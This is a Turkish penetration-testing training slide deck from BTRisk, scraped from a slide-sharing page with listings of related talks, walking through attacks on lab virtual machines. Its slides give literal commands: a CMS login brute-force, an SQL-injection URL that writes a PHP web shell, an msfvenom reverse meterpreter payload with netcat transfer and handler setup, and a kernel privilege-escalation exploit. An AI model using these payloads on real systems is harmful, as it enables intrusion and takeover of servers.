 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3
 
Sızma Testine Giriş - Fuat Ulugay
Sızma Testine Giriş  - Fuat UlugaySızma Testine Giriş  - Fuat Ulugay
Sızma Testine Giriş - Fuat Ulugay
 
BGA CTF Ethical Hacking Yarışması Çözümleri
BGA CTF Ethical Hacking Yarışması ÇözümleriBGA CTF Ethical Hacking Yarışması Çözümleri
BGA CTF Ethical Hacking Yarışması Çözümleri
 
Siber Saldırılar i̇çin Erken Uyarı Sistemi
Siber Saldırılar i̇çin Erken Uyarı SistemiSiber Saldırılar i̇çin Erken Uyarı Sistemi
Siber Saldırılar i̇çin Erken Uyarı Sistemi
 
Hacklenmiş Web Sunucu Analizi
Hacklenmiş Web Sunucu AnaliziHacklenmiş Web Sunucu Analizi
Hacklenmiş Web Sunucu Analizi
 
Sizma testine giris - Fuat Ulugay
Sizma testine giris - Fuat UlugaySizma testine giris - Fuat Ulugay
Sizma testine giris - Fuat Ulugay
 
10 Adımda Sızma Testleri
10 Adımda Sızma Testleri10 Adımda Sızma Testleri
10 Adımda Sızma Testleri
 

Similar to Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 1

İş Ortamlarına Saldırı Tespit Sisteminin Kurulması
İş Ortamlarına Saldırı Tespit Sisteminin Kurulmasıİş Ortamlarına Saldırı Tespit Sisteminin Kurulması
İş Ortamlarına Saldırı Tespit Sisteminin Kurulmasıİbrahim UÇAR
 
Açık kaynak kodlu uygulamalar ile adli bilişim labaratuarı kurma son
Açık kaynak kodlu uygulamalar ile adli bilişim labaratuarı kurma   sonAçık kaynak kodlu uygulamalar ile adli bilişim labaratuarı kurma   son
Açık kaynak kodlu uygulamalar ile adli bilişim labaratuarı kurma sonBGA Cyber Security
 
Windows 7 Ortamında Zararlı Yazılım Analizi
Windows 7 Ortamında Zararlı Yazılım AnaliziWindows 7 Ortamında Zararlı Yazılım Analizi
Windows 7 Ortamında Zararlı Yazılım AnaliziBGA Cyber Security
 
Web Uygulamalarında Kaynak Kod Analizi - 1
Web Uygulamalarında Kaynak Kod Analizi - 1Web Uygulamalarında Kaynak Kod Analizi - 1
Web Uygulamalarında Kaynak Kod Analizi - 1Mehmet Ince
 
2010 Kocaeli Linux Günleri - Linux Güvenlik UygulamalarıLinux
2010 Kocaeli Linux Günleri - Linux Güvenlik UygulamalarıLinux 2010 Kocaeli Linux Günleri - Linux Güvenlik UygulamalarıLinux
2010 Kocaeli Linux Günleri - Linux Güvenlik UygulamalarıLinux Burak Oğuz
 
SINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMI
SINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMISINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMI
SINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMIErtugrul Akbas
 
LINUX, WINDOWS VE AĞ SİSTEMLERİ SIZMA TESTLERİ
LINUX, WINDOWS VE AĞ SİSTEMLERİ SIZMA TESTLERİ LINUX, WINDOWS VE AĞ SİSTEMLERİ SIZMA TESTLERİ
LINUX, WINDOWS VE AĞ SİSTEMLERİ SIZMA TESTLERİ BGA Cyber Security
 
System Center Urun Ailesi
System Center Urun AilesiSystem Center Urun Ailesi
System Center Urun AilesiMustafa
 
SIEM ve KVKK Teknik Tedbirlerinin ANET SureLog SIEM ile uygulanması
SIEM ve KVKK Teknik Tedbirlerinin  ANET SureLog SIEM  ile uygulanması SIEM ve KVKK Teknik Tedbirlerinin  ANET SureLog SIEM  ile uygulanması
SIEM ve KVKK Teknik Tedbirlerinin ANET SureLog SIEM ile uygulanması Ertugrul Akbas
 
Php projelerinde ci_uygulama
Php projelerinde ci_uygulamaPhp projelerinde ci_uygulama
Php projelerinde ci_uygulamaUmut IŞIK
 
Microsoft Windows İşletim Sistemi Sıkılaştırma
Microsoft Windows İşletim Sistemi SıkılaştırmaMicrosoft Windows İşletim Sistemi Sıkılaştırma
Microsoft Windows İşletim Sistemi SıkılaştırmaAlper Başaran
 
SecurityOnion ile Ağ güvenliğini İzlemek
SecurityOnion ile Ağ güvenliğini İzlemekSecurityOnion ile Ağ güvenliğini İzlemek
SecurityOnion ile Ağ güvenliğini İzlemekFurkan Çalışkan
 

Similar to Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 1 (20)

İş Ortamlarına Saldırı Tespit Sisteminin Kurulması
İş Ortamlarına Saldırı Tespit Sisteminin Kurulmasıİş Ortamlarına Saldırı Tespit Sisteminin Kurulması
İş Ortamlarına Saldırı Tespit Sisteminin Kurulması
 
BTRisk Android Mobil Uygulama Denetimi Eğitimi
BTRisk Android Mobil Uygulama Denetimi EğitimiBTRisk Android Mobil Uygulama Denetimi Eğitimi
BTRisk Android Mobil Uygulama Denetimi Eğitimi
 
Açık kaynak kodlu uygulamalar ile adli bilişim labaratuarı kurma son
Açık kaynak kodlu uygulamalar ile adli bilişim labaratuarı kurma   sonAçık kaynak kodlu uygulamalar ile adli bilişim labaratuarı kurma   son
Açık kaynak kodlu uygulamalar ile adli bilişim labaratuarı kurma son
 
BTRisk iOS Mobil Uygulama Denetimi Eğitimi
BTRisk iOS Mobil Uygulama Denetimi EğitimiBTRisk iOS Mobil Uygulama Denetimi Eğitimi
BTRisk iOS Mobil Uygulama Denetimi Eğitimi
 
Windows 7 Ortamında Zararlı Yazılım Analizi
Windows 7 Ortamında Zararlı Yazılım AnaliziWindows 7 Ortamında Zararlı Yazılım Analizi
Windows 7 Ortamında Zararlı Yazılım Analizi
 
Web Uygulamalarında Kaynak Kod Analizi - 1
Web Uygulamalarında Kaynak Kod Analizi - 1Web Uygulamalarında Kaynak Kod Analizi - 1
Web Uygulamalarında Kaynak Kod Analizi - 1
 
2010 Kocaeli Linux Günleri - Linux Güvenlik UygulamalarıLinux
2010 Kocaeli Linux Günleri - Linux Güvenlik UygulamalarıLinux 2010 Kocaeli Linux Günleri - Linux Güvenlik UygulamalarıLinux
2010 Kocaeli Linux Günleri - Linux Güvenlik UygulamalarıLinux
 
SINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMI
SINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMISINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMI
SINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMI
 
LINUX, WINDOWS VE AĞ SİSTEMLERİ SIZMA TESTLERİ
LINUX, WINDOWS VE AĞ SİSTEMLERİ SIZMA TESTLERİ LINUX, WINDOWS VE AĞ SİSTEMLERİ SIZMA TESTLERİ
LINUX, WINDOWS VE AĞ SİSTEMLERİ SIZMA TESTLERİ
 
System Center Urun Ailesi
System Center Urun AilesiSystem Center Urun Ailesi
System Center Urun Ailesi
 
.Net ile yazılım güvenliği
.Net ile yazılım güvenliği.Net ile yazılım güvenliği
.Net ile yazılım güvenliği
 
Ossec - Host Based Saldırı Tespit Sistemi
Ossec - Host Based Saldırı Tespit SistemiOssec - Host Based Saldırı Tespit Sistemi
Ossec - Host Based Saldırı Tespit Sistemi
 
SIEM ve KVKK Teknik Tedbirlerinin ANET SureLog SIEM ile uygulanması
SIEM ve KVKK Teknik Tedbirlerinin  ANET SureLog SIEM  ile uygulanması SIEM ve KVKK Teknik Tedbirlerinin  ANET SureLog SIEM  ile uygulanması
SIEM ve KVKK Teknik Tedbirlerinin ANET SureLog SIEM ile uygulanması
 
EXPLOIT POST EXPLOITATION
EXPLOIT POST EXPLOITATIONEXPLOIT POST EXPLOITATION
EXPLOIT POST EXPLOITATION
 
Sistem İyileştirme Programları
Sistem İyileştirme ProgramlarıSistem İyileştirme Programları
Sistem İyileştirme Programları
 
Mail Sniper Nedir?
Mail Sniper Nedir?Mail Sniper Nedir?
Mail Sniper Nedir?
 
Php projelerinde ci_uygulama
Php projelerinde ci_uygulamaPhp projelerinde ci_uygulama
Php projelerinde ci_uygulama
 
Microsoft Windows İşletim Sistemi Sıkılaştırma
Microsoft Windows İşletim Sistemi SıkılaştırmaMicrosoft Windows İşletim Sistemi Sıkılaştırma
Microsoft Windows İşletim Sistemi Sıkılaştırma
 
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 1
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 1BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 1
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 1
 
SecurityOnion ile Ağ güvenliğini İzlemek
SecurityOnion ile Ağ güvenliğini İzlemekSecurityOnion ile Ağ güvenliğini İzlemek
SecurityOnion ile Ağ güvenliğini İzlemek
 

More from BTRisk Bilgi Güvenliği ve BT Yönetişim Hizmetleri

More from BTRisk Bilgi Güvenliği ve BT Yönetişim Hizmetleri (20)

BTRisk - Siber Olay Tespit ve Mudahale Egitimi
BTRisk - Siber Olay Tespit ve Mudahale EgitimiBTRisk - Siber Olay Tespit ve Mudahale Egitimi
BTRisk - Siber Olay Tespit ve Mudahale Egitimi
 
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-3
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-3BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-3
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-3
 
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-2
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-2BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-2
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-2
 
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-1
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-1BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-1
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-1
 
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 2
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 2BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 2
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 2
 
Yazıcı Güvenliği
Yazıcı GüvenliğiYazıcı Güvenliği
Yazıcı Güvenliği
 
BTRISK ISO27001 UYGULAMA EGITIMI SUNUMU
BTRISK ISO27001 UYGULAMA EGITIMI SUNUMUBTRISK ISO27001 UYGULAMA EGITIMI SUNUMU
BTRISK ISO27001 UYGULAMA EGITIMI SUNUMU
 
Sizma testi bilgi toplama
Sizma testi bilgi toplamaSizma testi bilgi toplama
Sizma testi bilgi toplama
 
Kali Linux Hakkında Herşey
Kali Linux Hakkında HerşeyKali Linux Hakkında Herşey
Kali Linux Hakkında Herşey
 
Unix Denetim Dokümanı
Unix Denetim DokümanıUnix Denetim Dokümanı
Unix Denetim Dokümanı
 
BTRisk Yazılım Güvenliği Yönetimi Eğitimi
BTRisk Yazılım Güvenliği Yönetimi EğitimiBTRisk Yazılım Güvenliği Yönetimi Eğitimi
BTRisk Yazılım Güvenliği Yönetimi Eğitimi
 
BTRisk Android Uygulamalara Malware Yerleştirme Sunumu
BTRisk Android Uygulamalara Malware Yerleştirme SunumuBTRisk Android Uygulamalara Malware Yerleştirme Sunumu
BTRisk Android Uygulamalara Malware Yerleştirme Sunumu
 
BTRisk ISO 27001:2013 Bilgilendirme ve İç Denetim Eğitimi Sunumu
BTRisk ISO 27001:2013 Bilgilendirme ve İç Denetim Eğitimi SunumuBTRisk ISO 27001:2013 Bilgilendirme ve İç Denetim Eğitimi Sunumu
BTRisk ISO 27001:2013 Bilgilendirme ve İç Denetim Eğitimi Sunumu
 
Bilgi Güvenliği Farkındalık Eğitimi Sunumu
Bilgi Güvenliği Farkındalık Eğitimi SunumuBilgi Güvenliği Farkındalık Eğitimi Sunumu
Bilgi Güvenliği Farkındalık Eğitimi Sunumu
 
BTRisk Adli Bilişim Eğitimi Sunumu
BTRisk Adli Bilişim Eğitimi SunumuBTRisk Adli Bilişim Eğitimi Sunumu
BTRisk Adli Bilişim Eğitimi Sunumu
 
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi EğitimiBTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
 
BTRWATCH ISO27001 Yazılımı
BTRWATCH ISO27001 YazılımıBTRWATCH ISO27001 Yazılımı
BTRWATCH ISO27001 Yazılımı
 
Jmeter ile uygulama katmanında yük testi gerçekleştirme
Jmeter ile uygulama katmanında yük testi gerçekleştirmeJmeter ile uygulama katmanında yük testi gerçekleştirme
Jmeter ile uygulama katmanında yük testi gerçekleştirme
 
ISO 27001:2013 versiyonu ile gelen değişiklikler
ISO 27001:2013 versiyonu ile gelen değişikliklerISO 27001:2013 versiyonu ile gelen değişiklikler
ISO 27001:2013 versiyonu ile gelen değişiklikler
 
Android Uygulamaların Tersine Mühendislik Yöntemi ile İncelenmesi
Android Uygulamaların Tersine Mühendislik Yöntemi ile İncelenmesiAndroid Uygulamaların Tersine Mühendislik Yöntemi ile İncelenmesi
Android Uygulamaların Tersine Mühendislik Yöntemi ile İncelenmesi
 

Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 1

  • 1. blog.btrisk.com @btrisk /btrisktv /btrisk UYGULAMALI SIZMA TESTİ EĞİTİMİ-1
  • 2. BTRİSK HAKKINDA TANIŞMA Pentest & BT Denetimi ISO27001 Danışmanlık Hizmetleri BG Operasyon Hizmetleri
  • 3. Göreviniz, Deneyiminiz ve Eğitimden Beklentileriniz Nelerdir? TANIŞMA
  • 4. TEMEL SIZMA TESTİ METODU Bilgi Toplama İstismar PAYLOAD'u Gönderme Girdi Noktalarının Tespiti SHELL Erişimi Sağlama ve Dosya Yükleme Parola Saldırısı Gerçekleştirme Yetki Yükseltme ve Ele Geçirilen Sistemi Saldırı Platformu Olarak Kullanmaya Başlama
  • 5. HACKING'İN ALTIN KURALI BİR HEDEFE ANCAK GİRDİ NOKTALARINDAN SALDIRABİLİRSİNİZ
  • 6. SALDIRI (GİRDİ) NOKTALARI • İnsan • Tesis • Ağ • Sistem • Uygulama (Servis) Eğitimimizin odağını oluşturacaklar İstemci taraflı saldırılarla ilgili dolaylı olarak değineceğiz
  • 8. İÇERİK • Kali Linux Kurulumu • Sistem-1 (Senaryo) • Sistem-2 (Senaryo) • Örnek Senaryolarda Kullanılan Araçlar • Olası Sorular ve İlgili Bölümler
  • 9. ÖNEMLİ UYARI • Eğitimin bu bölümünde 2 farklı sisteme yönelik saldırı senaryoları izlenecektir. • Senaryolar sırasında ilk defa karşılaşıyor olabileceğiniz ve tam olarak nasıl çalıştığını bu noktada anlayamayabileceğiniz uygulamaları gerçekleştireceksiniz. • PANİK OLMAYIN !!! • Bu uygulamalara teorik bilgi aktarılırken referans verilecek, bu şekilde teorik bilginin sıkıcılığı azalırken uygulamalarda oluşan sorularınız yanıt bulmaya başlayacaktır.
  • 10. ÖN ADIMLAR • KALI Linux kurulumu • Sistem-1 OVF imajının sanallaştırma uygulamasına import edilmesi ve başlatılması • Sistem-2 OVF imajının sanallaştırma uygulamasına import edilmesi ve başlatılması (bu imaj için eğitmenler tarafından bir uygulamanın başlatılması gerekecektir)
  • 11. KALİ LİNUX KURULUMU • Kali Linux işletim sisteminin kurulumu herhangi bir Linux işletim sisteminin kurulumundan farksızdır. • İşletim sistemi ISO imajı "www.kali.org" sitesinden indirilir. • Kullandığınız sanallaştırma uygulaması ile yeni bir sanal makine oluşturulur. • Disk imajı olarak indirilen ISO imajı seçilir ve bilgisayar CD'den boot edilmiş gibi işletim sistemi başlatılır. İsterseniz Kali'yi bu şekilde (Live olarak) de kullanabilirsiniz. Ancak bir diske kurulum yapmadığınız takdirde dosya sistemine yazdığınız veriler kalıcı olmayacaktır.
  • 12. KALİ LİNUX KURULUMU • Kurulum sırasında ana hatları ile aşağıdaki işlemler gerçekleştirilir: • (Sanal diskin) partition tablosunun oluşturulması ve belirlenen partitionların dosya sistemlerinin formatlanması. • (İşletim sistemi kernel'ı da dahil) sistem dosyalarının oluşturulan sanal diske kopyalanması ve kurulum sırasında belirlenen ayarların diske yazılması. • Bootloader uygulamasının (bileşenlerinin) partition tablosuna ve sanal diske yazılması.
  • 13. KALİ LİNUX KURULUMU • İşletim sistemlerinin başlatılma süreci ise ana hatları ile şu şekildedir: • Bilgisayar BIOS sistemi diskin ilk sektöründen başlayan partition tablosunu okur. • Partition tablosunda yer alan Master Boot Record (MBR) içinde bulunan Bootloader kodu devreye girer. • Bootloader kodu işletim sistemi kernel'ını hafızaya yükler. • Kernel diskin dosya sistemini hayata geçirir ve "init script"lerini işletir. Bu aşama tamamlandığında işletim sistemi ayaktadır.
  • 14. KALİ LİNUX KURULUMU İşletim sisteminin kurulumu için Kali'nin ISO imaj dosyasını seçiyoruz.
  • 15. KALİ LİNUX KURULUMU Kolay bir kurulum için graphical install seçeneğini seçiyoruz. Kurulum yapmak istemeseydik ve sadece live olarak Kali'yi kullanmak isteseydik bu opsiyon ile işletim sistemini başlatabilirdik.
  • 17. KALİ LİNUX KURULUMU Gerçek bir ortamda şifreninin bu şekilde belirlenmesi önerilmez. Ancak Kali öntanımlı olarak herhangi bir servisi açık biçimde kurulmaz, hatta yeni bir servis kurduğunuzda bu servisin otomatik olarak hayata geçirilmesini engelleyecek biçimde özelleştirilmiştir. Bu yüzden parolayı unutmaktansa "toor" olarak belirlemek tercih edilebilir.
  • 19. KALİ LİNUX KURULUMU Kurulumumuz tek partition (yani dosya sistemi) barındıracak bir disk oluşturacak. Operasyonel işletim sistemlerinde sistem dosyaları ve sürekli büyüyen dosyaları farklı partition'larda barındırmak isteyebilirsiniz.
  • 24. KALİ LİNUX KURULUMU Bootloader'ın (GRUB) tek diskimiz olan /dev/sda cihazına yazılması önemli. Burada hata yaparsak bootloader devreye giremeyecek, dolayısıyla işletim sistemi de ayağa kaldırılamayacaktır.
  • 27. KALİ LİNUX KURULUMU 1 2 3 Host bilgisayarınızla Kali Linux guest bilgisayarınız arasında sürükle bırak kopyalama yapabilmek ve clipboard'u kullanabilmek için.
  • 29. SİSTEM – 1 (IMAJI IMPORT ETME) • Sistem-1'i OVF dosyasından sanallaştırma uygulamanıza import ediniz.
  • 30. OVF dosyasından sistem imajımızı import etmek için mevcut bir sanal makineyi açarmış gibi OVF dosyasını seçiyoruz. SİSTEM – 1 (IMAJI IMPORT ETME)
  • 31. İmajı import etmek için Import düğmesine basıyoruz. SİSTEM – 1 (IMAJI IMPORT ETME)
  • 32. SİSTEM – 1 (IMAJI IMPORT ETME)
  • 33. SİSTEM – 1 (SENARYO) Kali bilgisayarımızın IP adresi
  • 34. SİSTEM – 1 (SENARYO) # netdiscover -r 192.168.163.0/24 Bizim ortamımızda diğer aktif sunucunun 137 adresli sunucu olduğunu ARP taraması ile tespit ettik.
  • 35. SİSTEM – 1 (SENARYO) # nmap -A 192.168.163.137 Port taramamız sonucunda sunucu üzerinde bir web sunucusu bulunduğunu tespit ediyoruz.
  • 36. SİSTEM – 1 (SENARYO) Hedef sunucumuz üzerinde öntanımlı kurulumda bırakılmış gibi görünen bir CMS uygulaması var. CMS uygulamasının adı nmap taramasında da görüldüğü gibi Baby Gekko.
  • 37. SİSTEM – 1 (SENARYO) # searchsploit baby gekko
  • 38. SİSTEM – 1 (SENARYO) Uygulamanın versiyonunu bulma çalışmaları.
  • 39. SİSTEM – 1 (SENARYO) # nikto -h 192.168.163.137
  • 40. SİSTEM – 1 (SENARYO)
  • 41. SİSTEM – 1 (SENARYO) # dirb http://192.168.163.137
  • 42. SİSTEM – 1 (SENARYO) Uygulama versiyonunu bulabilmek için açıklık barındıran uygulamanın bir kopyasını indirerek içinde versiyon bilgisini barındıran bir dosya arayabiliriz. Eğer bulabilirsek daha sonra bu dosyaya anonim olarak erişebilir miyiz diye inceleyebiliriz.
  • 43. SİSTEM – 1 (SENARYO)
  • 44. SİSTEM – 1 (SENARYO) # grep -r -i "vers" . -r: Recursive -i: Ignore case
  • 45. SİSTEM – 1 (SENARYO) Admin olmadan versiyonu görmemiz zor görünüyor.
  • 46. SİSTEM – 1 (SENARYO) Stored XSS uygulama yöneticisinin oturum parametresini çalmamıza yarayabilir. Ancak bu saldırı için sabırlı olmamız gerekir. Bu açıklıkla ilgili özet bilgi pek açıklayıcı değil. Detaylı bilgi için inceleyelim.
  • 47. SİSTEM – 1 (SENARYO) Bu versiyonda SQL Injection, Local File Inclusion ve XSS açıklıkları var. LFI'ı denediğimizde uygulama hata alıyor. Bu nedenle SQLi açıklığını deneyelim. Ancak SQLi için Admin erişimine ihtiyacımız var, çünkü SQLi açıklıkları bu kullanıcının erişebildiği sayfalarda mevcut.
  • 48. SİSTEM – 1 (SENARYO) Parola listesi oluşturmak için kullandığımız araç: # cewl http://192.168.163.137
  • 49. SİSTEM – 1 (SENARYO) cewl ile web sitesinin ilk sayfasında bulunan kelimelerden bir sözlük dosyası oluşturduk. Ancak bu sözlükteki kelimelerden farklı bir sözlük türetmek için John the Ripper programının rule özelliğinden faydalanabiliriz. JTR ile birlikte gelen konfigürasyon dosyasına ek olarak KoreLogic tarafından geliştirilmiş olan kuralları kullanabiliriz.
  • 50. SİSTEM – 1 (SENARYO) KoreLogic'ten aldığımız kuralı john.conf konfigürasyon dosyasına aktarıyoruz.
  • 51. SİSTEM – 1 (SENARYO) # john --wordlist=passlist.txt --rule=KoreLogicRulesAppendJustNumbers -- stdout > mutated-wordlist.txt
  • 52. SİSTEM – 1 (SENARYO) Parola kırma saldırısı için bir attack proxy kullanacağız.
  • 53. SİSTEM – 1 (SENARYO)
  • 54. SİSTEM – 1 (SENARYO) Trafiğimizi attack proxy'den geçirmek için tarayıcı ayarımızı düzenliyoruz.
  • 55. SİSTEM – 1 (SENARYO) Kaba kuvvet saldırısı yapacağımız parametreyi seçiyoruz.
  • 56. SİSTEM – 1 (SENARYO) Sözlük dosyası olarak yeni oluşturduğumuz dosyayı seçiyoruz.
  • 57. SİSTEM – 1 (SENARYO) Yanıtları HTTP Response Code'a göre tersten sıraladığımızda kırılan parolanın "btrisk" olduğunu görebiliriz.
  • 58. SİSTEM – 1 (SENARYO) http://[host]/admin/index.php?app=users&ajax=1&action=search&keyword=1%27 %29%20UNION%20SELECT%201,2,3,4,5,6,7,8,%27%3C?%20phpinfo%28%29;%20? %3E%27%20INTO%20OUTFILE%20%27/tmp/.class.php%27%20--%202%20
  • 59. SİSTEM – 1 (SENARYO) http://[host]/admin/index.php?app=users&ajax=1&action=search&keyword=1') UNION SELECT 1,2,3,4,5,6,7,8,'<? phpinfo(); ?>' INTO OUTFILE '/tmp/.class.php' -- 2
  • 60. SİSTEM – 1 (SENARYO) http://192.168.163.137/admin/index.php?app=users&ajax=1&action=search&keyw ord=1') UNION SELECT 1,2,3,4,5,6,7,8 ,'<?php phpinfo(); ?>' INTO OUTFILE '/var/www/html/test.php' -- 2 Bizim ortamımızda PHP kodunun çalışabilmesi için <? sonrasında bir de "php" ifadesini eklemek durumunda kaldık.
  • 61. SİSTEM – 1 (SENARYO)
  • 62. SİSTEM – 1 (SENARYO)
  • 63. SİSTEM – 1 (SENARYO) http://192.168.163.137/admin/index.php?app=users&ajax=1&action=search&keyw ord=1') UNION SELECT 1,2,3,4,5,6,7,8 , "<?php System($_REQUEST['cmd']); ?>" INTO OUTFILE '/var/www/html/cmd.php' -- 2 Bu defa daha işe yarar bir payload ile bir php dosyası oluşturalım
  • 64. SİSTEM – 1 (SENARYO) BİR SONRAKİ ADIM Bize shell açacak bir payload'u hedef bilgisayar üzerine atmak ve bu kodu çalıştırmak olacak. cmd.php uygulaması sayesinde hedef bilgisayar üzerinde sistem komutu çalıştırmayı başardık.
  • 65. SİSTEM – 1 (SENARYO) # msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.163.138 LPORT=4444 -f raw > payload.txt msfvenom ile bir reverse meterpreter oturumu başlatacak olan PHP payload'u üretiyoruz.
  • 66. SİSTEM – 1 (SENARYO) http://192.168.163.137/cmd.php?cmd=nc -vv -l 1234 > reverse.php Hedef bilgisayar üzerinde (bir linux sunucu olduğu için) netcat ile TCP 1234 portundan dinleyecek ve gelen veriyi "reverse.php" dosyasına aktaracak olan sistem komutunu çalıştırıyoruz.
  • 67. SİSTEM – 1 (SENARYO) # nc -vv 192.168.163.137 1234 < payload.txt Saldırı bilgisayarımızdan oluşturduğumu PHP payload'unu hedef bilgisayara aktarıyoruz.
  • 68. SİSTEM – 1 (SENARYO) # msfconsole Hedef bilgisayardan gelecek olan bağlantıyı ele almak üzere msfconsole'u başlatıyoruz.
  • 69. SİSTEM – 1 (SENARYO) use exploit/multi/handler set PAYLOAD php/meterpreter/reverse_tcp set LHOST 192.168.163.138 set LPORT 4444 run
  • 70. SİSTEM – 1 (SENARYO) http://192.168.163.137/reverse.php Hedef bilgisayar üzerinde netcat ile aktardığımız payload script'ini çalıştırıyoruz.
  • 71. SİSTEM – 1 (SENARYO) Handler'ımız hedeften gelen bağlantıyı ele aldı ve meterpreter oturumumuz başlatıldı.
  • 72. SİSTEM – 1 (SENARYO) shell whoami uname -a cat /etc/*-release Ubuntu 14.04 Kernel 3.13.0-32-generic Yetki yükseltme adımı için bilgi toplamaya başlıyoruz.
  • 73. SİSTEM – 1 (SENARYO) Hedef bilgisayarın işletim sistemi kernel versiyonuna uygun bir Local Privilege Escalation exploit'u arayabiliriz.
  • 74. SİSTEM – 1 (SENARYO) Bulduğumuz kaynaklar içinde bazen exploit kaynak koduna bazen de derlenmiş exploit koduna rastlayabiliriz. Derleme işleminin en sağlıklı yapılabileceği sistem hedef sistemdir, ancak her zaman hedef sistem üzerinde bir derleyici bulamayabiliriz. Bu gibi durumlarda derlenmiş bir exploit bizim için daha pratik olacaktır.
  • 75. SİSTEM – 1 (SENARYO) Derlenmiş exploit kodunu barındıran bir github kütüphanesinden 64 bitlik kernel exploit'umuzu indirelim.
  • 76. SİSTEM – 1 (SENARYO) exit (shell'den ayrılıyoruz) [Meterpreter] upload ./Downloads/ofs_64 shell [Shell] cd /tmp ls -al ofs_64 chmod +x ofs_64 ./ofs_64 # id YETKİ YÜKSELTME – PRIVILEGE ESCALATION
  • 77. SİSTEM – 1 (SENARYO) ÖZETLE; • Port taraması ile tespit ettiğimiz web uygulamasının açıklık barındıran bir uygulama olduğunu öğrendik. • Uygulamanın admin logon sayfasını tespit ettik ve admin şifresini sözlük saldırısı ile kırdık. • Admin profili ile SQLi saldırısı gerçekleştirerek hedef sisteme sistem komutları çalıştırabilen bir PHP dosyası yazdık. • "msfvenom" ile bir PHP reverse meterpreter payload'u oluşturduk ve bu dosyayı hedef sisteme attık.
  • 78. SİSTEM – 1 (SENARYO) ÖZETLE (devamı); • "msfconsole" uygulamasının exploit/multi/handler modülü ile reverse bağlantıyı karşıladık ve meterpreter oturumu başlattık. Sağladığımız erişim "www-data" adlı kullanıcı haklarıyla sağlanmıştı. • Yetki yükseltme için bilgi topladık ve bir local privilege exploit kullanarak "root" kullanıcısı olduk. Not: Normalde yetki yükseltme aşamasına hemen geçmeden "www-data" kullanıcısının dahil olduğu grupları ("id" komutu ile) ve sudo haklarını ("sudo –l" komutu ile) kontrol etmemiz gerekir. Belki de zaten yüksek erişim haklarına sahibizdir.
  • 80. SİSTEM – 2 (SENARYO) # netdiscover -r 192.168.163.0/24 BU ADIMDAN SONRA EĞİTMENİNİZİN SİSTEMİNİZDE BİR İŞLEM GERÇEKLEŞTİRMESİ GEREKLİDİR !!!
  • 81. SİSTEM – 2 (SENARYO) # nmap -A 192.168.163.140 Nmap'in işletim sistemi tahmini
  • 82. SİSTEM – 2 (SENARYO) Netcat ile TCP 888 portuna bağlandıktan (TCP handshake tamamlandıktan) hemen sonra sunucu bağlantıyı sonlandırıyor.
  • 83. SİSTEM – 2 (SENARYO) Bilinen portlar incelemesi.
  • 84. SİSTEM – 2 (SENARYO) # nmap -sU -sV --top-ports 20 192.168.163.140 UDP port tarama Nmap SNMP community string tespiti de yapmış
  • 85. SİSTEM – 2 (SENARYO) Hedef bilgisayarımızın Windows olduğundan şüpheleniyoruz, ancak Netbios taraması herhangi bir sonuç döndürmedi. Neden?..
  • 86. SİSTEM – 2 (SENARYO) # snmp-check -c public 192.168.163.140 Netbios taramasından sunucu adını öğrenemesek de SNMP sorguları ile sunucunun adını elde edebildik.
  • 87. SİSTEM – 2 (SENARYO) Kullanıcı hesaplarını elde edebildik. Ancak uzaktan saldırı için şu aşamada bir işimize yaramıyor. Neden?..
  • 88. SİSTEM – 2 (SENARYO) Hedef sunucumuz 92.222.129.112 IP adresli başka bir sunucuyla TCP 80 portundan iletişim kurmuş görünüyor.
  • 89. SİSTEM – 2 (SENARYO) # whois 92.222.129.112 Whois sorgusunda 92.222.129.112 IP adresinin de içinde bulunduğu IP aralığının sahibinin ALLPlayer olarak geçiyor. Artur bir kişi ismine benziyor.
  • 90. SİSTEM – 2 (SENARYO)
  • 91. SİSTEM – 2 (SENARYO) Çalışan proses'lerden birisinin adı ALLMediaServer olarak geçiyor.
  • 92. SİSTEM – 2 (SENARYO) Zayıf bir ilişki de olsa TCP 888 portu ile ilgili bir ifade ürünle ilgili bir sayfada geçiyor.
